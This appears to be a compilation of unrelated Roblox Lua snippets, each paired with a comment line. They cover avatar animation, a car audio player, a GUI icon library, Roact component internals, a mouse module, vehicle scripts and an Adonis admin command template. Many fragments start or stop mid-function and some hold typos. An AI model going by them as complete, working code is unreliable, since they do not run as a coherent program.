playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
|
--local Screen = carSeat.Parent.AudioPlayerScreen.SurfaceGui <-- soon
|
local Song = script.Parent.AudioPlayerGui.Song
local Audio = carSeat.Audio
vol = 0.2
function playSong()
local id = player.PlayerGui.AudioPlayer.AudioPlayerGui.TextBox.Text
Audio:Stop()
Audio.SoundId = "http://www.roblox.com/asset/?id="..id
Audio:Play()
--Screen.Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
Song.Text = game:GetService("MarketplaceService"):GetProductInfo(id).Name
--Screen.ID.Text = id
end
function stopSong()
Audio:Stop()
end
function volUp()
if vol + 0.2 <= 100 then
vol = vol + 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
function volDown()
if vol - 0.1 >= 0 then
vol = vol - 0.1
Audio.Volume = vol
player.PlayerGui.AudioPlayer.AudioPlayerGui.Vol.Text = tostring(vol*100) .. "%"
--Screen.Vol.Text = tostring(vol*100) .. "%"
end
end
VolUpButton.MouseButton1Click:connect(function()
volUp()
end)
VolDownButton.MouseButton1Click:connect(function()
volDown()
end)
PlayButton.MouseButton1Click:connect(function()
playSong()
end)
PauseButton.MouseButton1Click:connect(function()
stopSong()
end)
|
-- CONSTANTS
|
local GuiLib = script.Parent.Parent
local Lazy = require(GuiLib:WaitForChild("LazyLoader"))
local Defaults = GuiLib:WaitForChild("Defaults")
local UIS = game:GetService("UserInputService")
local VALID_PRESS = {
[Enum.UserInputType.MouseButton1] = true;
[Enum.UserInputType.Touch] = true;
}
local ARROW_UP = "rbxassetid://5154078925"
local ARROW_DOWN = "rbxassetid://5143165549"
local DROP_BUTTON = Defaults:WaitForChild("DropdownButton")
|
-- CORE UTILITY METHODS
|
function Icon:set(settingName, value, iconState, setAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
if type(iconState) == "string" then
iconState = iconState:lower()
end
local previousValue = self:get(settingName, iconState)
if iconState == "hovering" then
-- Apply hovering state if valid
settingDetail.hoveringValue = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..iconState] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..iconState] = previousValue
end
self:_update(settingName)
else
-- Update the settings value
local toggleState = iconState
local settingType = settingDetail.type
if settingType == "toggleable" then
local valuesToSet = {}
if toggleState == "deselected" or toggleState == "selected" then
table.insert(valuesToSet, toggleState)
else
table.insert(valuesToSet, "deselected")
table.insert(valuesToSet, "selected")
toggleState = nil
end
for i, v in pairs(valuesToSet) do
settingDetail.values[v] = value
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous_"..v] = previousValue
end
if type(setAdditional) == "string" then
settingDetail.additionalValues[setAdditional.."_"..v] = previousValue
end
end
else
settingDetail.value = value
if type(setAdditional) == "string" then
if setAdditional ~= "_ignorePrevious" then
settingDetail.additionalValues["previous"] = previousValue
end
settingDetail.additionalValues[setAdditional] = previousValue
end
end
-- Check previous and new are not the same
if previousValue == value then
return self, "Value was already set"
end
-- Update appearances of associated instances
local currentToggleState = self:getToggleState()
if not self._updateAfterSettingAll and settingDetail.instanceNames and (currentToggleState == toggleState or toggleState == nil) then
local ignoreTweenAction = (settingName == "iconSize" and previousValue and previousValue.X.Scale == 1)
local tweenInfo = (settingDetail.tweenAction and not ignoreTweenAction and self:get(settingDetail.tweenAction)) or TweenInfo.new(0)
self:_update(settingName, currentToggleState, tweenInfo)
end
end
-- Call any methods present
if settingDetail.callMethods then
for _, callMethod in pairs(settingDetail.callMethods) do
callMethod(self, value, iconState)
end
end
-- Call any signals present
if settingDetail.callSignals then
for _, callSignal in pairs(settingDetail.callSignals) do
callSignal:Fire()
end
end
return self
end
function Icon:get(settingName, iconState, getAdditional)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
local valueToReturn, additionalValueToReturn
if typeof(iconState) == "string" then
iconState = iconState:lower()
end
--if ((self.hovering and settingDetail.hoveringValue) or iconState == "hovering") and getAdditional == nil then
if (iconState == "hovering") and getAdditional == nil then
valueToReturn = settingDetail.hoveringValue
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..iconState]
end
local settingType = settingDetail.type
if settingType == "toggleable" then
local toggleState = ((iconState == "deselected" or iconState == "selected") and iconState) or self:getToggleState()
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional.."_"..toggleState]
end
if valueToReturn == nil then
valueToReturn = settingDetail.values[toggleState]
end
else
if additionalValueToReturn == nil then
additionalValueToReturn = type(getAdditional) == "string" and settingDetail.additionalValues[getAdditional]
end
if valueToReturn == nil then
valueToReturn = settingDetail.value
end
end
return valueToReturn, additionalValueToReturn
end
function Icon:getHovering(settingName)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
return settingDetail.hoveringValue
end
function Icon:getToggleState(isSelected)
isSelected = isSelected or self.isSelected
return (isSelected and "selected") or "deselected"
end
function Icon:getIconState()
if self.hovering then
return "hovering"
else
return self:getToggleState()
end
end
function Icon:_update(settingName, toggleState, customTweenInfo)
local settingDetail = self._settingsDictionary[settingName]
assert(settingDetail ~= nil, ("setting '%s' does not exist"):format(settingName))
toggleState = toggleState or self:getToggleState()
local value = settingDetail.value or (settingDetail.values and settingDetail.values[toggleState])
if self.hovering and settingDetail.hoveringValue then
value = settingDetail.hoveringValue
end
if value == nil then return end
local tweenInfo = customTweenInfo or (settingDetail.tweenAction and self:get(settingDetail.tweenAction)) or self:get("toggleTransitionInfo") or TweenInfo.new(0.15)
local propertyName = settingDetail.propertyName
local invalidPropertiesTypes = {
["string"] = true,
["NumberSequence"] = true,
["Text"] = true,
["EnumItem"] = true,
["ColorSequence"] = true,
}
local uniqueSetting = self._uniqueSettingsDictionary[settingName]
local newValue = value
if settingDetail.useForcedGroupValue then
newValue = settingDetail.forcedGroupValue
end
if settingDetail.instanceNames then
for _, instanceName in pairs(settingDetail.instanceNames) do
local instance = self.instances[instanceName]
local propertyType = typeof(instance[propertyName])
local cannotTweenProperty = invalidPropertiesTypes[propertyType] or typeof(instance) == "table"
if uniqueSetting then
uniqueSetting(settingName, instance, propertyName, newValue)
elseif cannotTweenProperty then
instance[propertyName] = value
else
tweenService:Create(instance, tweenInfo, {[propertyName] = newValue}):Play()
end
--
if settingName == "iconSize" and instance[propertyName] ~= newValue then
self.updated:Fire()
end
--
end
end
end
function Icon:_updateAll(iconState, customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames then
self:_update(settingName, iconState, customTweenInfo)
end
end
end
function Icon:_updateHovering(customTweenInfo)
for settingName, settingDetail in pairs(self._settingsDictionary) do
if settingDetail.instanceNames and settingDetail.hoveringValue ~= nil then
self:_update(settingName, nil, customTweenInfo)
end
end
end
function Icon:_updateStateOverlay(transparency, color)
local stateOverlay = self.instances.iconOverlay
stateOverlay.BackgroundTransparency = transparency or 1
stateOverlay.BackgroundColor3 = color or Color3.new(1, 1, 1)
end
function Icon:setTheme(theme, updateAfterSettingAll)
self._updateAfterSettingAll = updateAfterSettingAll
for settingsType, settingsDetails in pairs(theme) do
if settingsType == "toggleable" then
for settingName, settingValue in pairs(settingsDetails.deselected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "both")
end
end
for settingName, settingValue in pairs(settingsDetails.selected) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue, "selected")
end
end
else
for settingName, settingValue in pairs(settingsDetails) do
if not self.lockedSettings[settingName] then
self:set(settingName, settingValue)
end
end
end
end
self._updateAfterSettingAll = nil
if updateAfterSettingAll then
self:_updateAll()
end
return self
end
function Icon:getInstance(instanceName)
return self.instances[instanceName]
end
function Icon:setInstance(instanceName, instance)
local originalInstance = self.instances[instanceName]
self.instances[instanceName] = instance
if originalInstance then
originalInstance:Destroy()
end
return self
end
function Icon:getSettingDetail(targetSettingName)
for _, settingsDetails in pairs(self._settings) do
for settingName, settingDetail in pairs(settingsDetails) do
if settingName == targetSettingName then
return settingDetail
end
end
end
return false
end
function Icon:modifySetting(settingName, dictionary)
local settingDetail = self:getSettingDetail(settingName)
for key, value in pairs(dictionary) do
settingDetail[key] = value
end
return self
end
function Icon:convertLabelToNumberSpinner(numberSpinner)
-- This updates the number spinners appearance
self:set("iconLabelSize", UDim2.new(1,0,1,0))
numberSpinner.Parent = self:getInstance("iconButton")
-- This creates a fake iconLabel which updates the property of all descendant spinner TextLabels when indexed
local textLabel = {}
setmetatable(textLabel, {__newindex = function(_, index, value)
for _, label in pairs(numberSpinner.Frame:GetDescendants()) do
if label:IsA("TextLabel") then
label[index] = value
end
end
end})
-- This overrides existing instances and settings so that they update the spinners properties (instead of the old textlabel)
local iconButton = self:getInstance("iconButton")
iconButton.ZIndex = 0
self:setInstance("iconLabel", textLabel)
self:modifySetting("iconText", {instanceNames = {}}) -- We do this to prevent text being modified within the metatable above
self:setInstance("iconLabelSpinner", numberSpinner.Frame)
local settingsToConvert = {"iconLabelVisible", "iconLabelAnchorPoint", "iconLabelPosition", "iconLabelSize"}
for _, settingName in pairs(settingsToConvert) do
self:modifySetting(settingName, {instanceNames = {"iconLabelSpinner"}})
end
-- This applies all the values we just updated
self:_updateAll()
return self
end
function Icon:setEnabled(bool)
self.enabled = bool
self.instances.iconContainer.Visible = bool
self.updated:Fire()
return self
end
function Icon:setName(string)
self.name = string
self.instances.iconContainer.Name = string
return self
end
function Icon:setProperty(propertyName, value)
self[propertyName] = value
return self
end
function Icon:_playClickSound()
local clickSound = self.instances.clickSound
if clickSound.SoundId ~= nil and #clickSound.SoundId > 0 and clickSound.Volume > 0 then
local clickSoundCopy = clickSound:Clone()
clickSoundCopy.Parent = clickSound.Parent
clickSoundCopy:Play()
debris:AddItem(clickSoundCopy, clickSound.TimeLength)
end
end
function Icon:select(byIcon)
if self.locked then return self end
self.isSelected = true
self:_setToggleItemsVisible(true, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.selected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:deselect(byIcon)
if self.locked then return self end
self.isSelected = false
self:_setToggleItemsVisible(false, byIcon)
self:_updateNotice()
self:_updateAll()
self:_playClickSound()
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
IconController:_updateSelectionGroup()
end
self.deselected:Fire()
self.toggled:Fire(self.isSelected)
return self
end
function Icon:notify(clearNoticeEvent, noticeId)
coroutine.wrap(function()
if not clearNoticeEvent then
clearNoticeEvent = self.deselected
end
if self._parentIcon then
self._parentIcon:notify(clearNoticeEvent)
end
local notifComplete = Signal.new()
local endEvent = self._endNotices:Connect(function()
notifComplete:Fire()
end)
local customEvent = clearNoticeEvent:Connect(function()
notifComplete:Fire()
end)
noticeId = noticeId or httpService:GenerateGUID(true)
self.notices[noticeId] = {
completeSignal = notifComplete,
clearNoticeEvent = clearNoticeEvent,
}
self.totalNotices += 1
self:_updateNotice()
self.notified:Fire(noticeId)
notifComplete:Wait()
endEvent:Disconnect()
customEvent:Disconnect()
notifComplete:Disconnect()
self.totalNotices -= 1
self.notices[noticeId] = nil
self:_updateNotice()
end)()
return self
end
function Icon:_updateNotice()
local enabled = true
if self.totalNotices < 1 then
enabled = false
end
-- Deselect
if not self.isSelected then
if (#self.dropdownIcons > 0 or #self.menuIcons > 0) and self.totalNotices > 0 then
enabled = true
end
end
-- Select
if self.isSelected then
if #self.dropdownIcons > 0 or #self.menuIcons > 0 then
enabled = false
end
end
local value = (enabled and 0) or 1
self:set("noticeImageTransparency", value)
self:set("noticeTextTransparency", value)
self.instances.noticeLabel.Text = (self.totalNotices < 100 and self.totalNotices) or "99+"
end
function Icon:clearNotices()
self._endNotices:Fire()
return self
end
function Icon:disableStateOverlay(bool)
if bool == nil then
bool = true
end
local stateOverlay = self.instances.iconOverlay
stateOverlay.Visible = not bool
return self
end
|
--[[**
ensures value is a number where value <= max
@param max The maximum to use
@returns A function that will return true iff the condition is passed
**--]]
|
function t.numberMax(max)
return function(value)
local success, errMsg = t.number(value)
if not success then
return false, errMsg
end
if value <= max then
return true
else
return false, string.format("number <= %s expected, got %s", max, value)
end
end
end
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Pink",Paint)
end)
|
---------------------------------------------------------------
|
function onChildAdded(something)
if something.Name == "SeatWeld" then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
s.carName.Value = s.Parent.Parent.Name
s.carName:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
end
end
end
function onChildRemoved(something)
if (something.Name == "SeatWeld") then
local human = something.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human Found")
game.Players:findFirstChild(human.Parent.Name).PlayerGui.carName:remove()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
--[[
Returns the stack trace of where the element was created that this component
instance's properties are based on.
Intended to be used primarily by diagnostic tools.
]]
|
function Component:getElementTraceback()
return self[InternalData].virtualNode.currentElement.source
end
|
--[=[
Switch map but for brios. The resulting observable will be
disconnected on the end of the brio's life.
Like [RxBrioUtils.switchMap] but emitted values are wrapped in brios.
The lifetime of this brio is limited by the lifetime of the
input brios, which are unwrapped and repackaged.
@since 3.6.0
@param project (value: TBrio) -> TProject | Brio<TProject>
@return (source: Observable<Brio<TBrio>>) -> Observable<Brio<TResult>>
]=]
|
function RxBrioUtils.switchMapBrio(project)
assert(type(project) == "function", "Bad project")
return Rx.switchMap(RxBrioUtils.mapBrioBrio(project))
end
|
--[[
A method called by consumers of Roact to create a new component class.
Components can not be extended beyond this point, with the exception of
PureComponent.
]]
|
function Component:extend(name)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentClass, "Invalid `self` argument to `extend`.")
assert(typeof(name) == "string", "Component class name must be a string")
end
local class = {}
for key, value in pairs(self) do
-- Roact opts to make consumers use composition over inheritance, which
-- lines up with React.
-- https://reactjs.org/docs/composition-vs-inheritance.html
if key ~= "extend" then
class[key] = value
end
end
class[Type] = Type.StatefulComponentClass
class.__index = class
class.__componentName = name
setmetatable(class, componentClassMetatable)
return class
end
function Component:__getDerivedState(incomingProps, incomingState)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentInstance, "Invalid use of `__getDerivedState`")
end
local internalData = self[InternalData]
local componentClass = internalData.componentClass
if componentClass.getDerivedStateFromProps ~= nil then
local derivedState = componentClass.getDerivedStateFromProps(incomingProps, incomingState)
if derivedState ~= nil then
if config.typeChecks then
assert(typeof(derivedState) == "table", "getDerivedStateFromProps must return a table!")
end
return derivedState
end
end
return nil
end
function Component:setState(mapState)
if config.typeChecks then
assert(Type.of(self) == Type.StatefulComponentInstance, "Invalid `self` argument to `extend`.")
end
local internalData = self[InternalData]
local lifecyclePhase = internalData.lifecyclePhase
--[[
When preparing to update, rendering, or unmounting, it is not safe
to call `setState` as it will interfere with in-flight updates. It's
also disallowed during unmounting
]]
if lifecyclePhase == ComponentLifecyclePhase.ShouldUpdate or
lifecyclePhase == ComponentLifecyclePhase.WillUpdate or
lifecyclePhase == ComponentLifecyclePhase.Render or
lifecyclePhase == ComponentLifecyclePhase.WillUnmount
then
local messageTemplate = invalidSetStateMessages[internalData.lifecyclePhase]
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
end
local pendingState = internalData.pendingState
local partialState
if typeof(mapState) == "function" then
partialState = mapState(pendingState or self.state, self.props)
-- Abort the state update if the given state updater function returns nil
if partialState == nil then
return
end
elseif typeof(mapState) == "table" then
partialState = mapState
else
error("Invalid argument to setState, expected function or table", 2)
end
local newState
if pendingState ~= nil then
newState = assign(pendingState, partialState)
else
newState = assign({}, self.state, partialState)
end
if lifecyclePhase == ComponentLifecyclePhase.Init then
-- If `setState` is called in `init`, we can skip triggering an update!
local derivedState = self:__getDerivedState(self.props, newState)
self.state = assign(newState, derivedState)
elseif lifecyclePhase == ComponentLifecyclePhase.DidMount or
lifecyclePhase == ComponentLifecyclePhase.DidUpdate or
lifecyclePhase == ComponentLifecyclePhase.ReconcileChildren
then
--[[
During certain phases of the component lifecycle, it's acceptable to
allow `setState` but defer the update until we're done with ones in flight.
We do this by collapsing it into any pending updates we have.
]]
local derivedState = self:__getDerivedState(self.props, newState)
internalData.pendingState = assign(newState, derivedState)
elseif lifecyclePhase == ComponentLifecyclePhase.Idle then
-- Pause parent events when we are updated outside of our lifecycle
-- If these events are not paused, our setState can cause a component higher up the
-- tree to rerender based on events caused by our component while this reconciliation is happening.
-- This could cause the tree to become invalid.
local virtualNode = internalData.virtualNode
local reconciler = internalData.reconciler
if config.tempFixUpdateChildrenReEntrancy then
reconciler.suspendParentEvents(virtualNode)
end
-- Outside of our lifecycle, the state update is safe to make immediately
self:__update(nil, newState)
if config.tempFixUpdateChildrenReEntrancy then
reconciler.resumeParentEvents(virtualNode)
end
else
local messageTemplate = invalidSetStateMessages.default
local message = messageTemplate:format(tostring(internalData.componentClass))
error(message, 2)
end
end
|
-- same as jump for now
|
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = 3.14/2
LeftShoulder.DesiredAngle = -3.14/2
RightHip.DesiredAngle = 3.14/2
LeftHip.DesiredAngle = -3.14/2
end
function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulderdDesiredAngle = 1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
amplitude = 1
frequency = 9
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
RightShoulder.DesiredAngle = desiredAngle + climbFudge
LeftShoulder.DesiredAngle = desiredAngle - climbFudge
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
local tool = getTool()
if tool then
animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
-- connect up
|
function stopLoopedSounds()
sRunning:Stop()
sClimbing:Stop()
sSwimming:Stop()
end
if hasPlayer == nil then
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Swimming:connect(onSwimming)
Humanoid.Climbing:connect(onClimbing)
Humanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = "Jump" end)
Humanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = "GetUp" end)
Humanoid.FreeFalling:connect(function(state) stopLoopedSounds() onStateFall(state, sFreeFalling) prevState = "FreeFall" end)
Humanoid.FallingDown:connect(function(state) stopLoopedSounds() end)
Humanoid.StateChanged:connect(function(old, new)
if not (new.Name == "Dead" or
new.Name == "Running" or
new.Name == "RunningNoPhysics" or
new.Name == "Swimming" or
new.Name == "Jumping" or
new.Name == "GettingUp" or
new.Name == "Freefall" or
new.Name == "FallingDown") then
stopLoopedSounds()
end
end)
end
|
--Tuning tips: If your car tends to oversteer, increase the ratio of friction towards the front (E.G. .65 front .6 rear), do the opposite in case of understeer
| |
-- Table to hold player information for the current session
|
local sessionData = {}
local AUTOSAVE_INTERVAL = 60
if runService:IsStudio() then
AUTOSAVE_INTERVAL = 15
end
|
--[[
Vector2 Mouse:GetPosition()
Vector2 Mouse:GetDelta()
Void Mouse:Lock()
Void Mouse:LockCenter()
Void Mouse:Unlock()
Void Mouse:SetMouseIcon(iconId)
Void Mouse:SetMouseIconEnabled(isEnabled)
Boolean Mouse:IsMouseIconEnabled()
Many Mouse:Cast(ignoreDescendantsInstance, terrainCellsAreCubes, ignoreWater)
Many Mouse:CastWithIgnoreList(ignoreDescendantsTable, terrainCellsAreCubes, ignoreWater)
Many Mouse:CastWithWhitelist(whitelistDescendantsTable, ignoreWater)
Mouse.LeftDown()
Mouse.LeftUp()
Mouse.RightDown()
Mouse.RightUp()
Mouse.MiddleDown()
Mouse.MiddleUp()
Mouse.Moved()
Mouse.Scrolled(amount)
--]]
|
local Mouse = {}
local playerMouse = game:GetService("Players").LocalPlayer:GetMouse()
local userInput = game:GetService("UserInputService")
local cam = workspace.CurrentCamera
local workspace = workspace
local RAY = Ray.new
function Mouse:GetPosition()
return userInput:GetMouseLocation()
end
function Mouse:GetDelta()
return userInput:GetMouseDelta()
end
function Mouse:Lock()
userInput.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
end
function Mouse:LockCenter()
userInput.MouseBehavior = Enum.MouseBehavior.LockCenter
end
function Mouse:Unlock()
userInput.MouseBehavior = Enum.MouseBehavior.Default
end
function Mouse:SetMouseIcon(iconId)
playerMouse.Icon = (iconId and ("rbxassetid://" .. iconId) or "")
end
function Mouse:SetMouseIconEnabled(enabled)
userInput.MouseIconEnabled = enabled
end
function Mouse:IsMouseIconEnabled()
return userInput.MouseIconEnabled
end
function Mouse:GetRay()
local mousePos = userInput:GetMouseLocation()
local viewportMouseRay = cam:ViewportPointToRay(mousePos.X, mousePos.Y)
return RAY(viewportMouseRay.Origin, viewportMouseRay.Direction * 999)
end
function Mouse:Cast(ignoreDescendantsInstance, terrainCellsAreCubes, ignoreWater)
return workspace:FindPartOnRay(self:GetRay(), ignoreDescendantsInstance, terrainCellsAreCubes, ignoreWater)
end
function Mouse:CastWithIgnoreList(ignoreDescendantsTable, terrainCellsAreCubes, ignoreWater)
return workspace:FindPartOnRayWithIgnoreList(self:GetRay(), ignoreDescendantsTable, terrainCellsAreCubes, ignoreWater)
end
function Mouse:CastWithWhitelist(whitelistDescendantsTable, ignoreWater)
return workspace:FindPartOnRayWithWhitelist(self:GetRay(), whitelistDescendantsTable, ignoreWater)
end
function Mouse:Start()
end
function Mouse:Init()
self.LeftDown = self.Shared.Event.new()
self.LeftUp = self.Shared.Event.new()
self.RightDown = self.Shared.Event.new()
self.RightUp = self.Shared.Event.new()
self.MiddleDown = self.Shared.Event.new()
self.MiddleUp = self.Shared.Event.new()
self.Moved = self.Shared.Event.new()
self.Scrolled = self.Shared.Event.new()
userInput.InputBegan:Connect(function(input, processed)
if (processed) then return end
if (input.UserInputType == Enum.UserInputType.MouseButton1) then
self.LeftDown:Fire()
elseif (input.UserInputType == Enum.UserInputType.MouseButton2) then
self.RightDown:Fire()
elseif (input.UserInputType == Enum.UserInputType.MouseButton3) then
self.MiddleDown:Fire()
end
end)
userInput.InputEnded:Connect(function(input, processed)
if (input.UserInputType == Enum.UserInputType.MouseButton1) then
self.LeftUp:Fire()
elseif (input.UserInputType == Enum.UserInputType.MouseButton2) then
self.RightUp:Fire()
elseif (input.UserInputType == Enum.UserInputType.MouseButton3) then
self.MiddleUp:Fire()
end
end)
userInput.InputChanged:Connect(function(input, processed)
if (input.UserInputType == Enum.UserInputType.MouseMovement) then
self.Moved:Fire()
elseif (input.UserInputType == Enum.UserInputType.MouseWheel) then
if (not processed) then
self.Scrolled:Fire(input.Position.Z)
end
end
end)
end
return Mouse
|
--Close/Store Wear Data
|
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
local wD=car:FindFirstChild("WearData")
if car:FindFirstChild("WearData")==nil then
wD = script.Parent.WearData:Clone()
wD.Parent=car
end
for i,v in pairs(Wheels) do
wD[v.wheel.Name].Value = v.Heat
end
wD.STime.Value=tick()
end
end)
|
--// Easily add new custom commands below (without needing to create a plugin module)
--// You can also use this to overwrite existing commands if you know the command's index (found in the command's respective module within the Adonis MainModule)
|
settings.Commands = {
ExampleCommand1 = { --// The index & table of the command
Prefix = Settings.Prefix; --// The prefix the command will use, this is the ':' in ':ff me'
Commands = {"examplecommand1", "examplealias1", "examplealias2"}; --// A table containing the command strings (the things you chat in-game to run the command, the 'ff' in ':ff me')
Args = {"arg1", "arg2", "etc"}; --// Command arguments, these will be available in order as args[1], args[2], args[3], etc; This is the 'me' in ':ff me'
Description = "Example command";--// The description of the command
AdminLevel = 100; -- Moderators --// The commands minimum admin level; This can also be a table containing specific levels rather than a minimum level: {124, 152, "HeadAdmins", etc};
-- Alternative option: AdminLevel = "Moderators"
Filter = true; --// Should user-supplied text passed to this command be filtered automatically? Use this if you plan to display a user-defined message to other players
Hidden = true; --// Should this command be hidden from the command list?
Disabled = true; --// If set to true this command won't be usable.
Function = function(plr: Player, args: {string}, data) --// The command's function; This is the actual code of the command which runs when you run the command
--// "plr" is the player running the command
--// "args" is an array of strings containing command arguments supplied by the user
--// "data" is a table containing information related to the command and the player running it, such as data.PlayerData.Level (the player's admin level) [Refer to API docs]
print("This is 'arg1':", tostring(args[1]))
print("This is 'arg2':", tostring(args[2]))
print("This is 'etc'(arg 3):", tostring(args[3]))
error("this is an example error :o !") --// Errors raised in the function during command execution will be displayed to the user.
end
};
}
settings.CommandCooldowns = {
|
-- Navigation
|
for _,NavButton in pairs(Navigation.Main:GetChildren()) do
if NavButton:IsA("TextButton") then
NavButton.MouseButton1Click:connect(function()
if not Tweening then
Tweening = true;
Navigation:TweenPosition(UDim2.new(-1,0,0,0),Direction,Style,Time);
Main[NavButton.Name]:TweenPosition(UDim2.new(0,0,0,0),Direction,Style,Time);
wait(Time);
Tweening = false;
end;
end)
end;
end
for _,Frame in pairs(Main:GetChildren()) do
Frame.Back.MouseButton1Click:connect(function()
if not Tweening then
Tweening = true;
Navigation:TweenPosition(UDim2.new(0,0,0,0),Direction,Style,Time);
Main[Frame.Name]:TweenPosition(UDim2.new(1,0,0,0),Direction,Style,Time);
wait(Time);
Tweening = false;
end;
end)
end
|
--[[INSTALL PROCESS]]--
-- Place the brick in the body group, where your radiator would be, and place the "Temperature" GUI in the plugin folder!
-- This plugin is Filtering Enabled compatible
|
script:WaitForChild("Celsius")
script:WaitForChild("Blown")
local car = script.Parent.Parent.Car.Value
local radiator = car.Body.Smoke
local mouse = game.Players.LocalPlayer:GetMouse()
local handler = car.EngineOverheat
local FE = workspace.FilteringEnabled
|
-- access point for easily setting render settings such as default lighting properties, camera, etc
|
local References = require(game:GetService("ReplicatedStorage"):WaitForChild("Utilities"):WaitForChild("Services"):WaitForChild("References"))
local Utilities = References.Utilities
local Services = Utilities.Services
local Player = require(References.PlayerScripts.Main:WaitForChild("Player"))
local Gameplay = {}
